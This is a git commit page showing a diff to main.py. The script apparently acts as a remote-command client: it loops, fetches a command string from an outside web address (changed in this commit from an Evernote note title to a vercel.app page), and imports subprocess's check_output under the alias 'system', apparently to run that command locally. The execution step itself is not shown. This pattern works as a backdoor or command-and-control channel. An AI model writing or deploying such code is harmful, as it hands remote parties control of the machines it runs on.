summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-15 22:52:25 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-15 22:52:46 +0800
commit8cdfb555da06bf244e97824785ba65e8aee668a3 (patch)
tree89ecec0d8b113235b0b52d9e08dd7137f2137c6b
parent3dc7e6962f03eaaf0affe4937af44fb1f912d0f0 (diff)
updated
-rw-r--r--main.py4
1 files changed, 1 insertions, 3 deletions
diff --git a/main.py b/main.py
index c5eef80..ab6d07b 100644
--- a/main.py
+++ b/main.py
@@ -1,9 +1,7 @@
try:
- from bs4 import BeautifulSoup
from requests import get, post
from time import sleep
from subprocess import check_output as system
- import lxml
old_command = ""
command = ""
@@ -15,7 +13,7 @@ while True:
try:
#get HTML
try:
- command = BeautifulSoup(get("https://www.evernote.com/shard/s557/sh/f241b451-44a8-5ebe-3a73-cf74cb0fdaf5/2EW7PhNX5HU3KHOM1ZZGiu0d16La558Mv9vDJaLemJOZUP4kW2qbb1bBaQ").text, 'lxml').find('title').text
+ command = get("https://discord-bot-command-inputter-littleblack111.vercel.app/").content.decode()
except KeyboardInterrupt:
continue
except: